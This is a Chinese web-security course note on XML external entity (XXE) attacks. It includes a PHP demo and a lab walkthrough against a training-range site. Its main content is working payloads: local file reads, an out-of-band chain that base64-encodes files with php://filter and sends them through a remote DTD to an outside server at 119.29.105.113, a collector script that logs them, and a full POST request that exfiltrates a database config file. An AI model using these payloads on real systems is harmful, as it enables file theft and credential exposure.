掌控安全Web安全微专业笔记 (28)

实例:

<?php $test = \'<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>\'; $obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT); print_r($obj); ?>

变量test里面是XML

然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

<!ENTITY 实体名称 SYSTEM “URI/URL">

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

image-20201031232928493

很多时候后端语言解析了XML后其实并不会给你输出,难道这样子我们就不能进行XXE了?就可以抵挡住我们的脚步了吗?

不,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。感觉是不是像是反弹注入的感觉~

我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)

php://filter/read=convert.base64-encode/resource=c:/1.txt 然后我们再去调用一个外部xml 比如1.xml (<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">) <!ENTITY % all "<!ENTITY &#x25; send SYSTEM \'http://120.203.13.75:8123/xxe/2.php?id=%file;\'>" \> %all;

这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下来储存到3.txt中

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?> <?php $test =<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt"> <!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml"> %remote; %send; ]> EOF; $obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT); ?>

XXE-防御

image-20201031233238740

四、靶场演示

通过查看weixin的php,当signature有值时,会将POST值当值xml执行

image-20201031233037087

:8207/weixin/用burp抓包,发送到Repeater,

image-20201102230825775

将GET请求,改成POST请求,在weixin传入参数?signature=fdsaf,请求包末尾加入POST传XXE代码值

POST /weixin/?signature=fdsaf HTTP/1.1 Host: 59.63.200.79:8207 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=e2qfucg73udhmdm8n03ukj62s6; Hm_lvt_b60316de6009d5654de7312f772162be=1604161420; safedog-flow-item=789C4E95DD8F4CC7683E5563E4949B3F; Hm_lpvt_b60316de6009d5654de7312f772162be=1604329000 Connection: close Content-Length: 229 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php"> <!ENTITY % remote SYSTEM "http://119.29.105.113/xxe/1.xml"> %remote; %send; ]>

image-20201103010359867

服务器上1.xml

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM \'http://119.29.105.113/xxe/2.php?id=%file;\'>" > %all;

1.xml等价于

<!ENTITY % send SYSTEM \'http://119.29.105.113/xxe/2.php?id=%file;\'>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzpdzz.html